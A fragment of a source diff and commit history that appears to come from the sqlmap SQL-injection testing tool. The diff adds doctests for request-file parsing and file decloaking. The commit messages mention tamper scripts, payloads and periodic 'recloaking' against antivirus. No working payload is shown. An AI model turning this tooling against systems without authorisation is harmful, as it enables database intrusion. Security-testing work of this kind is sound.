    >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
    True
    >>> os.remove(_)
    """
    content = decloak(filename)
@@ -4996,6 +5071,12 @@ def getRequestHeader(request, name):
    Solving an issue with an urllib2 Request header case sensitivity
    # Reference: http://bugs.python.org/issue2275
    >>> _ = lambda _: _
    >>> _.headers = {"FOO": "BAR"}
    >>> _.header_items = lambda: _.headers.items()
    >>> getText(getRequestHeader(_, "foo"))
    'BAR'
    """
    retVal = None
@@ -5093,6 +5174,13 @@ def pollProcess(process, suppress_errors=False):
 def parseRequestFile(reqFile, checkParams=True):
    """
    Parses WebScarab and Burp logs and adds results to the target URL list
    >>> handle, reqFile = tempfile.mkstemp(suffix=".req")
    >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
    >>> _ = os.write(handle, content)
    >>> os.close(handle)
    >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
    True
    """
    def _parseWebScarabLog(content):
@@ -5162,6 +5250,7 @@ def parseRequestFile(reqFile, checkParams=True):
                continue
            if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
                if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M):
                    continue
            getPostReq = False
@@ -5235,7 +5324,7 @@ def parseRequestFile(reqFile, checkParams=True):
                        params = True
                    # Avoid proxy and connection type related headers
-                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
+                    elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
                        headers.append((getUnicode(key), getUnicode(value)))
                    if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	eeacab0f19	Speedup of caching for char encoding (non-Unicode chars in page)	2021-03-03 23:08:00 +01:00
Miroslav Stampar	b3e454d0b1	Trivial update	2021-02-25 12:19:08 +01:00
Miroslav Stampar	99d0031d65	Minor update	2021-02-25 11:39:08 +01:00
Miroslav Stampar	5916bc2d39	Minor update	2021-02-25 11:22:10 +01:00
Miroslav Stampar	2159944de4	Minor update	2021-02-23 12:00:59 +01:00
Miroslav Stampar	f87aa83e9b	Dirty implementation for #4571	2021-02-21 22:49:57 +01:00
Miroslav Stampar	b902cca791	Minor update	2021-02-19 11:38:02 +01:00
Miroslav Stampar	86467e196b	Periodical recloak	2021-02-19 11:08:14 +01:00
Miroslav Stampar	30f137699d	Trivial bug patch	2021-02-19 11:07:13 +01:00
Miroslav Stampar	7741154383	Fixes #4580	2021-02-16 14:27:02 +01:00
Miroslav Stampar	a6262a3aa9	Adding support for Virtuoso DBMS	2021-02-15 14:07:36 +01:00
Miroslav Stampar	1f33b16e01	Fixes #4579	2021-02-14 14:47:28 +01:00
Miroslav Stampar	04396c97e2	Minor refactoring	2021-02-11 13:00:54 +01:00
Miroslav Stampar	b1cdbdae61	Minor update of tests	2021-02-11 12:30:21 +01:00
Miroslav Stampar	747951b80b	Another patch for #4576	2021-02-10 14:09:13 +01:00
Miroslav Stampar	1bef2f8fda	Fixes #4576	2021-02-10 14:02:42 +01:00
Miroslav Stampar	b0ac442096	Minor patch of links	2021-02-08 22:42:08 +01:00
Miroslav Stampar	99a5fb243c	Trivial update	2021-02-08 21:50:20 +01:00
Miroslav Stampar	b2a575482e	Proxies dislike non-browser user-agents	2021-02-08 21:47:36 +01:00
Miroslav Stampar	365e08b710	Allowing empty database names in -d	2021-02-08 20:47:37 +01:00
Miroslav Stampar	af3b79ff8b	Trivial update of doctests	2021-02-08 12:28:24 +01:00
hugoduar	3724a53466	Add spanish common names (#4573 )	2021-02-08 11:30:39 +01:00
Miroslav Stampar	01e83cb4a0	Minor patch for ws	2021-02-08 11:18:27 +01:00
Miroslav Stampar	cd77cdd1e8	It seems that JSON_GROUP_ARRAY is not available in all Travis CI deployments	2021-02-05 15:15:58 +01:00
Miroslav Stampar	22c421a427	Debugging the testing case	2021-02-05 14:46:23 +01:00
Miroslav Stampar	59fe89f076	Minor update of testing cases	2021-02-05 12:44:39 +01:00
Miroslav Stampar	160011bd87	Couple of bug fixes	2021-02-03 11:52:50 +01:00
Miroslav Stampar	36ee4d68c7	Trivial update	2021-02-01 22:19:20 +01:00
Miroslav Stampar	dfc5bc5d87	Minor update of testing cases	2021-02-01 21:58:36 +01:00
Miroslav Stampar	d247fda9d3	Fixing HTTP chunking for Python2.6	2021-02-01 21:34:26 +01:00
Miroslav Stampar	78b1c4f072	Trying to fix the mess with content_length between versions	2021-01-31 16:08:02 +01:00
Miroslav Stampar	63e44f9ee9	Trying to debug the Travis CI issue	2021-01-31 14:44:02 +01:00
Miroslav Stampar	08349138ec	Bug fix (--chunked failing on TravisCI)	2021-01-31 14:00:44 +01:00
Miroslav Stampar	807d38688f	Trivial update	2021-01-29 14:49:08 +01:00
Miroslav Stampar	0975fb1226	Minor update	2021-01-29 14:46:15 +01:00
Miroslav Stampar	71c141ef86	Minor patch	2021-01-29 14:38:13 +01:00
Miroslav Stampar	accfbf958e	Fixes #4560	2021-01-27 14:01:20 +01:00
Miroslav Stampar	c0be1da8b1	Capture deprecations even in nightly Python builds	2021-01-21 10:14:24 +01:00
Miroslav Stampar	4a12493d85	Python3 fix (parsing of headers)	2021-01-20 16:29:52 +01:00
Miroslav Stampar	b2c8ba10cd	Minor just in case update	2021-01-20 16:06:19 +01:00
Miroslav Stampar	9568ee3c4d	Fixes #4548	2021-01-19 12:32:32 +01:00
Miroslav Stampar	f3e8039145	Fixes #4549	2021-01-19 12:25:03 +01:00
Miroslav Stampar	e5086ef61a	Fixes #4545	2021-01-18 12:29:35 +01:00
Miroslav Stampar	ed0909fe57	Fixes #4547	2021-01-18 12:04:47 +01:00
Miroslav Stampar	6244850749	More DREI stuff	2021-01-15 10:51:49 +01:00
Miroslav Stampar	d78590213b	Brrrrr incompatibilities with every new Python minor revision	2021-01-15 09:31:57 +01:00
Miroslav Stampar	4490d55482	Removing leftover	2021-01-15 09:18:21 +01:00
Miroslav Stampar	fd137b49ef	Fixing Python3.10 incompatibility	2021-01-15 09:17:33 +01:00
Miroslav Stampar	6fa5922fbd	Bug fix (error heuristics not working in heavy dynamicity cases)	2021-01-14 22:49:08 +01:00
Miroslav Stampar	42884d3f09	Problems with badge.fury.io	2021-01-13 17:32:57 +01:00
Miroslav Stampar	1a0c533626	Fixes #4541	2021-01-13 13:17:46 +01:00
Miroslav Stampar	5d3bd6ea7a	Adding support for YugabyteDB	2021-01-13 11:47:10 +01:00
Miroslav Stampar	29a7646334	Trivial update	2021-01-12 16:55:24 +01:00
shelld3v	fa93f5e099	New translation: Vietnamese (#4509 ) * Create README-vi-VN.md * Update README.md * Consistency update (same style as in other translations) Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>	2021-01-12 16:34:17 +01:00
Miroslav Stampar	12238019dd	Patch for Python2.6	2021-01-12 16:28:50 +01:00
Miroslav Stampar	0b1b64b682	Thank you Travis CI in discovering of a cluster of f*cks	2021-01-12 16:21:43 +01:00
Miroslav Stampar	c8dc375fb5	Update for #4537	2021-01-12 15:58:40 +01:00
Miroslav Stampar	a697e6c307	All of a sudden PY2 _configparser doesn't support \tkey = value	2021-01-12 15:57:12 +01:00
Miroslav Stampar	66a3118f81	Adding support for JSON aggregation on SQLite	2021-01-12 15:36:02 +01:00
Miroslav Stampar	3002f92e34	Trivial update	2021-01-12 13:23:08 +01:00
Miroslav Stampar	2ef07c80db	Some more refactoring	2021-01-12 13:21:51 +01:00
Miroslav Stampar	e3028f195e	Support for Raima Database Manager DBMS	2021-01-11 17:36:23 +01:00
Miroslav Stampar	1f39dbd06d	Another patch regarding #4530	2021-01-07 14:20:03 +01:00
Miroslav Stampar	ccf9e7de54	Another patch regarding #4530	2021-01-07 14:00:10 +01:00
Miroslav Stampar	ebd2a940cb	Patching profile capabilities	2021-01-07 13:52:38 +01:00
Miroslav Stampar	0d3889730d	Another patch for #4530	2021-01-07 11:56:49 +01:00
Miroslav Stampar	ccbc3e62f8	First patch for #4530	2021-01-07 11:44:00 +01:00
Miroslav Stampar	f84ec1072b	Patch related to #4527 (drei)	2021-01-06 16:09:40 +01:00
Miroslav Stampar	779b352f6b	Minor cosmetics	2021-01-06 15:47:50 +01:00
Miroslav Stampar	9af2e68b7e	Update for #4525	2021-01-06 15:39:51 +01:00
Miroslav Stampar	bd59dd4a0f	Trivial update	2021-01-06 15:21:33 +01:00
Miroslav Stampar	c4e6c3e854	Fixes #4513	2021-01-05 14:50:54 +01:00
Miroslav Stampar	91045aab60	Fixes #4510	2021-01-05 13:36:04 +01:00
Miroslav Stampar	b36d8248a4	More fine-tuning for #4505 (in case of --no-escape)	2021-01-04 13:51:51 +01:00
Miroslav Stampar	091678b9d4	Some fine tuning (#4505 - in case of --no-escape)	2021-01-04 13:45:38 +01:00
Miroslav Stampar	0c3d8c9bd1	Fixes #4505	2021-01-04 13:25:29 +01:00
Miroslav Stampar	f5b6b0eb4b	Fixes #4504	2021-01-03 16:56:35 +01:00
Miroslav Stampar	e8048a3cf0	First 2021 dev commit	2021-01-03 15:28:40 +01:00
Miroslav Stampar	0207ecf0ee	Version bump (1.5)	2021-01-03 15:23:40 +01:00
Miroslav Stampar	ae6a812ee1	Trivial updates	2020-12-31 12:38:57 +01:00
Miroslav Stampar	f23c04131c	Patch of a patch	2020-12-31 12:17:08 +01:00
Miroslav Stampar	ab0df2a85c	Fixes #4503	2020-12-31 12:09:15 +01:00
Miroslav Stampar	2cf2dd9a2c	Fixes #4502	2020-12-31 12:00:13 +01:00
Miroslav Stampar	82e28e038e	Another year bump	2020-12-31 11:49:19 +01:00
Miroslav Stampar	31fe3453a2	Copyright year bump	2020-12-31 11:46:27 +01:00
Miroslav Stampar	32deef59c3	Fixes #4499	2020-12-28 19:09:31 +01:00
Miroslav Stampar	8142dd8f3b	Minor update	2020-12-28 15:39:01 +01:00
Miroslav Stampar	1b2ac3069d	Implementing --proxy-freq (Issue #4496 )	2020-12-26 23:04:48 +01:00
Miroslav Stampar	bb02eefb70	Fixes #4495	2020-12-26 00:49:42 +01:00
Miroslav Stampar	8c8aae9170	Fixes #4492	2020-12-25 23:24:59 +01:00
Miroslav Stampar	99e6d56f09	Fixes #4494	2020-12-25 22:55:19 +01:00
Miroslav Stampar	41e247be56	Another trivial update	2020-12-22 21:40:15 +01:00
Miroslav Stampar	81602c4093	Another minor update	2020-12-22 21:35:02 +01:00
Miroslav Stampar	31c597f9e6	Minor update	2020-12-22 21:30:12 +01:00
Miroslav Stampar	b039c35f2b	Fixes #4479	2020-12-18 12:38:15 +01:00
Miroslav Stampar	bae7766e64	Support patch for #4486	2020-12-18 12:13:07 +01:00
Miroslav Stampar	9c95445723	Trivial update (drei nagging)	2020-12-18 12:01:49 +01:00
Miroslav Stampar	eeffcfe1b6	Periodic recloaking (AV)	2020-12-18 11:57:13 +01:00
Miroslav Stampar	809538d1bb	Trivial update	2020-12-18 11:38:54 +01:00
Miroslav Stampar	5f743ab19b	Fixes #4480	2020-12-17 13:50:33 +01:00
Miroslav Stampar	85c6d0d5c1	Fixes #4483	2020-12-17 13:34:23 +01:00
Miroslav Stampar	d9e6e678e8	Fixes #4470	2020-12-10 23:05:19 +01:00
Miroslav Stampar	7e675fed9f	Fixes #4471	2020-12-10 22:47:29 +01:00
Miroslav Stampar	5bf52c3f9c	Trivial patches	2020-12-10 14:22:44 +01:00
Miroslav Stampar	94709c93bb	Minor update	2020-12-10 13:56:25 +01:00
Miroslav Stampar	a852d25314	Trying smth	2020-12-10 11:27:37 +01:00
Miroslav Stampar	c0aa8565a1	Update of banner regexes	2020-12-08 14:41:19 +01:00
Miroslav Stampar	bce1cfe00f	Minor update	2020-12-08 13:40:46 +01:00
Miroslav Stampar	0cd6285707	Long live the Python2	2020-12-07 21:30:18 +01:00
Miroslav Stampar	8a783702d9	Fixes #4464	2020-12-07 12:28:49 +01:00
Miroslav Stampar	760563dbd1	Patch for #4451	2020-12-07 12:00:10 +01:00
Miroslav Stampar	92054b5d63	Fixes #4465,#4466,#4468,#4469	2020-12-07 11:42:46 +01:00
Miroslav Stampar	2f3801b808	Minor leftover	2020-12-07 11:23:11 +01:00
Miroslav Stampar	d5c9bdf279	Patch for #4467	2020-12-07 11:22:34 +01:00
Miroslav Stampar	12158af6ca	Fixes #4457	2020-12-04 12:28:13 +01:00
tomjshore	8e662a5179	Changed get logs to hanndle ints correctly (#4460 )	2020-12-04 11:47:09 +01:00
Miroslav Stampar	8d9c84236d	Fixes #4458	2020-12-04 11:45:40 +01:00
Miroslav Stampar	815d417a9e	Fixes #4462	2020-12-04 11:40:09 +01:00
Miroslav Stampar	3936a11280	Fixes #4450	2020-12-02 22:30:01 +01:00
Miroslav Stampar	13e363155a	Fixes #4453	2020-12-02 21:43:11 +01:00
Miroslav Stampar	be0f7a9e07	Update of --beep (including XSS/FI)	2020-12-01 23:10:53 +01:00
Miroslav Stampar	33a8db9596	Minor patch	2020-12-01 22:56:24 +01:00
Miroslav Stampar	9f6eacb4e8	Fixes #4444	2020-12-01 16:36:34 +01:00
Miroslav Stampar	e6d9dc46ab	Patch for #4449	2020-12-01 15:56:47 +01:00
Miroslav Stampar	c3e81a6223	Switching EXTRACTVALUE and FLOOR in priority (FLOOR is not working on recent MySQL)	2020-12-01 15:34:49 +01:00
Miroslav Stampar	78ba33737e	Patch for known NCHAR/UNION-query SQLi problems	2020-12-01 12:16:15 +01:00
Miroslav Stampar	c6557e2b45	Minor patches	2020-11-30 23:33:08 +01:00
Miroslav Stampar	fa17cfb606	Fixes #4447	2020-11-30 22:25:56 +01:00
Miroslav Stampar	40623e780a	Minor patch (--update to work with #pip)	2020-11-27 12:57:16 +01:00
Miroslav Stampar	35862bf4c8	Minor patch	2020-11-27 12:37:56 +01:00
Miroslav Stampar	5d6def425a	Trivial cleanup	2020-11-27 12:32:05 +01:00
Miroslav Stampar	7066e7ce97	Trivial update	2020-11-26 23:41:35 +01:00
Miroslav Stampar	8dad7dd12d	Trivial update	2020-11-24 14:07:30 +01:00
Miroslav Stampar	6b7c3a2f81	Minor cosmetics	2020-11-20 13:03:15 +01:00
Miroslav Stampar	e9b3af6b9a	Minor compatibility patch for 'Copy as cURL' browser feature	2020-11-20 12:52:02 +01:00
Miroslav Stampar	194c911433	Another update for #4367	2020-11-16 11:59:17 +01:00
Miroslav Stampar	e621d7ec6a	Fixes #4423	2020-11-16 10:28:53 +01:00
Miroslav Stampar	854507bc85	Potential fix for #4307	2020-11-13 23:00:26 +01:00
Miroslav Stampar	82eec780a2	Update README.md	2020-11-10 22:36:02 +01:00
Miroslav Stampar	de55be3afe	Update README.md	2020-11-10 22:10:03 +01:00
Miroslav Stampar	4d2b890a0a	Silent bug fix	2020-11-09 23:02:48 +01:00
Miroslav Stampar	c243c5fe0d	Implementing --skip-heuristics (#4414 )	2020-11-09 22:11:11 +01:00
Miroslav Stampar	a35fc713a2	Minor patch (AS keyword does not play well in nullCastConcatFields)	2020-11-05 11:20:51 +01:00
Miroslav Stampar	97b7dc585c	Patch for #4419	2020-11-05 10:59:36 +01:00
Miroslav Stampar	c5a5717add	Minor adjustment	2020-11-05 10:12:54 +01:00
Miroslav Stampar	fe4e79511a	Fixes #4413	2020-11-02 11:15:45 +01:00
Miroslav Stampar	1d5bde9cdf	Implementing --live-cookies (Issue #4401 )	2020-10-29 13:51:11 +01:00
Miroslav Stampar	227a23f091	Fixes #4408	2020-10-29 12:33:12 +01:00
Miroslav Stampar	0ff3b1ce70	Implemented FOR JSON AUTO in MsSQL	2020-10-28 16:48:11 +01:00
Miroslav Stampar	7e483ffd7a	Adding minor note	2020-10-28 14:38:13 +01:00
Miroslav Stampar	a5852390f7	Implements ARRAY_AGG for PostgreSQL	2020-10-28 14:36:25 +01:00
Miroslav Stampar	73d0c67a80	Implements #4407	2020-10-28 12:57:25 +01:00
Miroslav Stampar	8e9f7e90c3	Fixes #4404	2020-10-27 15:12:42 +01:00
Miroslav Stampar	f6bf331b8f	Minor cosmetics	2020-10-27 14:57:12 +01:00
Miroslav Stampar	585645e806	Implements #4403	2020-10-27 14:06:56 +01:00
Miroslav Stampar	673a5afe07	Fixes #4400	2020-10-26 11:21:29 +01:00
Miroslav Stampar	c9a8b915c8	Fixes #4398	2020-10-25 17:34:06 +01:00
Miroslav Stampar	9645aaa33f	Fixes #4399	2020-10-25 17:11:22 +01:00
Miroslav Stampar	e556876fe6	Fixes #4394	2020-10-21 14:58:30 +02:00
Miroslav Stampar	0524670cf9	More generic update for #4199	2020-10-21 14:44:07 +02:00
Miroslav Stampar	96a2c91701	Patch regarding #4199	2020-10-21 14:40:11 +02:00
Miroslav Stampar	5029d67e4f	Minor update regarding the #4388	2020-10-20 12:54:22 +02:00
Miroslav Stampar	5af64f5ae4	Minor update	2020-10-20 12:37:07 +02:00
Miroslav Stampar	bc981c517b	New vuln-test case	2020-10-15 17:20:32 +02:00
Miroslav Stampar	87ad11dffb	Fixes #4383 and #4384	2020-10-15 12:11:21 +02:00
Miroslav Stampar	3663fa936b	Fixes #4382	2020-10-14 23:04:01 +02:00
Miroslav Stampar	4687383a44	Patch for multiple-Ctrl-C in multiple-target mode	2020-10-14 12:22:56 +02:00
Miroslav Stampar	62cfd47b83	Minor patch	2020-10-14 11:49:58 +02:00
Miroslav Stampar	2bf22df53a	Implementing support for piped input of targets	2020-10-14 11:34:52 +02:00
Miroslav Stampar	0585a55ee0	Trivial refactoring for #4379	2020-10-13 11:05:13 +02:00
tree-chtsec	babe52eb10	HSQLDB write file support (#4379 ) * Make asterisk work with --csrf-token option * add --file-write support in HSQLDB Co-authored-by: tree <chtpt@treedeMacBook-Pro.local>	2020-10-13 10:56:39 +02:00
Miroslav Stampar	231c3da057	Update for #4380	2020-10-13 10:32:09 +02:00
Miroslav Stampar	13a2ab3fa3	Minor update (drei)	2020-10-05 21:36:30 +02:00
Miroslav Stampar	21cc6e3c99	Potential patch for #4367	2020-10-05 12:45:15 +02:00
Miroslav Stampar	a2a73b88ea	Fixes #4366	2020-10-05 12:12:06 +02:00
Miroslav Stampar	210a4c3a0a	Fixes #4363	2020-10-05 11:35:49 +02:00
Miroslav Stampar	15225668d0	Somebody was fooling around (Issue #4357 )	2020-09-28 13:12:59 +02:00
Miroslav Stampar	c1bf36b876	Better alternative	2020-09-24 14:57:45 +02:00
Miroslav Stampar	229f89004b	Fixes #4355	2020-09-24 14:55:13 +02:00
Miroslav Stampar	443b1f2ed5	ORDER BY required	2020-09-24 14:54:59 +02:00
Miroslav Stampar	60f4520020	Minor update for #4353	2020-09-23 15:29:28 +02:00
Miroslav Stampar	7460b87f1d	Update for #4353	2020-09-23 15:22:07 +02:00
Miroslav Stampar	5d08b9004e	Minor update	2020-09-21 17:11:11 +02:00
Miroslav Stampar	c2b9e539ae	Update for #4351	2020-09-21 17:04:54 +02:00
HerendraTJ	3d8eb62a59	Issue Tracker --> Pelacak Masalah. (#4347 )	2020-09-18 11:58:29 +02:00
Miroslav Stampar	d51e45fd34	Minor update for #4344	2020-09-17 15:26:06 +02:00
Miroslav Stampar	3258e29cf9	Update for #4344	2020-09-17 15:22:50 +02:00
antichown	e0ea1ab5e9	new tamper script (#4344 ) * new tamper script works with time-based queries * Update sleepgetlock.py Co-authored-by: Miroslav Stampar <miroslav@sqlmap.org>	2020-09-17 15:06:47 +02:00
Miroslav Stampar	192ca02c41	Minor update (more intuitive)	2020-09-16 14:28:32 +02:00
Miroslav Stampar	f0bbbb0918	Fixes #4341	2020-09-11 16:28:10 +02:00
Miroslav Stampar	f6857d4ee4	Bug fix (304 not modified as original response)	2020-09-11 14:32:25 +02:00
Miroslav Stampar	a1342e04a5	Minor update	2020-09-10 16:34:01 +02:00
Miroslav Stampar	7963281c41	Minor update	2020-09-10 16:20:12 +02:00
Miroslav Stampar	715063f0d4	Patching session PY2<->PY3 incompatibility issue	2020-09-09 16:15:23 +02:00
Miroslav Stampar	1658331810	Trivial update	2020-09-09 14:07:13 +02:00
Miroslav Stampar	bfe93e20c5	Patch for #4337	2020-09-09 13:58:26 +02:00
Miroslav Stampar	bcea050f22	Fixes #4331	2020-09-06 23:32:47 +02:00
Miroslav Stampar	c4a692abe3	Patch for #4332	2020-09-06 23:21:12 +02:00
Miroslav Stampar	b42b62ae38	Major improvement in Base64 handling (late-binding)	2020-09-04 13:16:50 +02:00
Miroslav Stampar	a7f20c1d67	Minor update (base64 stuff)	2020-09-04 12:45:33 +02:00
Miroslav Stampar	f781367ac1	Fixes #4328	2020-09-04 10:49:17 +02:00
mkauschi	1bec3a953c	fix #4325 (#4327 ) Co-authored-by: manuel <manuel@crashtest-security.com>	2020-09-02 17:07:28 +02:00
Miroslav Stampar	66e07dfab6	Fixes #4322	2020-09-01 15:35:14 +02:00
Miroslav Stampar	226d467f6d	Fixes #4321	2020-08-31 22:06:22 +02:00
Miroslav Stampar	ea5ae44b6c	Minor improvement	2020-08-31 11:55:14 +02:00
Miroslav Stampar	95b9a47c6f	Adding support for easier 'decloaking' (AV something something)	2020-08-31 11:34:12 +02:00
Miroslav Stampar	e05f65628d	Minor update	2020-08-31 11:18:29 +02:00
Miroslav Stampar	609545176f	Minor refactoring	2020-08-28 14:46:59 +02:00
Miroslav Stampar	8de4820b24	Minor update	2020-08-28 14:24:43 +02:00
Miroslav Stampar	df5fabbbbb	Adding couple of doctests	2020-08-24 11:10:13 +02:00
Miroslav Stampar	0c48d0dbec	Minor update on request	2020-08-23 22:11:24 +02:00
Miroslav Stampar	5108c2d06c	Minor update regarding #4312	2020-08-23 21:16:56 +02:00
Miroslav Stampar	603d602550	Fixes #4313	2020-08-23 20:59:10 +02:00
Miroslav Stampar	907786edb8	Patch for #4314	2020-08-23 20:56:22 +02:00
Miroslav Stampar	85b73f872e	Minor patch	2020-08-20 13:54:52 +02:00
Miroslav Stampar	a42ec7d9cb	Trivial refactoring	2020-08-13 16:22:09 +02:00
tree-chtsec	b3f4c6d0fc	Make asterisk work with --csrf-token option (#4305 )	2020-08-13 16:18:31 +02:00
Miroslav Stampar	cec65f3a27	Adding new tamper script	2020-08-12 09:50:04 +02:00
Miroslav Stampar	cc79ae69aa	Fixes #4303	2020-08-11 15:09:23 +02:00
Miroslav Stampar	5a9dc15cf2	Introduction of --base64-safe	2020-08-10 22:26:03 +02:00
Miroslav Stampar	f1fd080ba5	Minor improvement	2020-08-10 21:54:58 +02:00
Miroslav Stampar	cfe9fb4f5b	Fixes #4301	2020-08-10 21:27:38 +02:00
Miroslav Stampar	7a55c9c145	Trivial update	2020-08-10 21:26:37 +02:00
Miroslav Stampar	4077a359f4	Fixes #4294	2020-08-05 22:43:32 +02:00
Miroslav Stampar	435fd49f1d	Trivial update	2020-08-04 10:34:18 +02:00
Miroslav Stampar	bcfd9c3f48	Trivial update	2020-08-04 10:27:52 +02:00
Miroslav Stampar	39c320c29b	Fixes #4292	2020-08-03 23:23:14 +02:00
Miroslav Stampar	b719b9612f	Adding new tamper script	2020-07-29 13:40:23 +02:00
Miroslav Stampar	84bc2640d1	Minor adjustment on private request	2020-07-28 12:55:57 +02:00
Miroslav Stampar	fced29a242	Fixes #4285	2020-07-28 11:30:47 +02:00
Miroslav Stampar	2e5e958d3f	Fixes #4287	2020-07-28 11:22:05 +02:00
Miroslav Stampar	1e30471d3d	Minor update	2020-07-28 11:10:15 +02:00
Miroslav Stampar	10b93d753d	Adding new tamper script	2020-07-27 14:01:12 +02:00
Miroslav Stampar	1280abc25c	Adding some tamper scripts	2020-07-27 13:49:48 +02:00
Miroslav Stampar	c47061f25d	Update regarding #4281	2020-07-26 20:16:58 +02:00
HerendraTJ	9b871f1093	Spacing (#4279 ) Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.	2020-07-26 20:06:59 +02:00
Miroslav Stampar	0ba07e93d5	Fixes #4284	2020-07-26 19:34:30 +02:00
Miroslav Stampar	ce50acf69d	Minor update	2020-07-22 11:25:06 +02:00
Miroslav Stampar	9f0ff27c26	Fixes #4277	2020-07-22 09:57:13 +02:00
Miroslav Stampar	ecafac5cd2	Minor cleanup	2020-07-21 22:05:02 +02:00
Miroslav Stampar	f39869992c	Fixes #4275	2020-07-20 12:43:17 +02:00
Miroslav Stampar	e910fc6b8b	Some more things regarding #4269	2020-07-16 16:10:13 +02:00
Gustavo	6375f9e506	Fixing an error (#4267 ) There was a newline breaking the link: "[aqui] (https://github.com/sqlmapproject/sqlmap/tarball/master)"	2020-07-16 14:45:17 +02:00
Miroslav Stampar	8e649dc3f7	Minor patch	2020-07-16 14:42:51 +02:00
Miroslav Stampar	a6ce91a3e2	Fixes #4269	2020-07-16 14:30:50 +02:00
Miroslav Stampar	408862b040	Update regarding #4268	2020-07-16 14:22:32 +02:00
Miroslav Stampar	fc4dec7291	Fixes #4260	2020-07-15 15:29:35 +02:00
Miroslav Stampar	274a6e62da	Patch for #4261	2020-07-15 14:53:35 +02:00
Miroslav Stampar	aa7c548376	Fixes #4263	2020-07-15 14:49:16 +02:00
Miroslav Stampar	6b7a1dfd94	Adding new payload (credits: blackfan.ru)	2020-07-10 14:33:45 +02:00
Miroslav Stampar	67f918f6ad	Minor update	2020-07-07 11:31:07 +02:00
Miroslav Stampar	a65e1faf99	Patch for #4258	2020-07-07 10:41:23 +02:00
Miroslav Stampar	ff48e1d820	Minor update (phpass)	2020-07-01 13:04:44 +02:00
Miroslav Stampar	0094f02fb0	Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252 )	2020-07-01 12:46:26 +02:00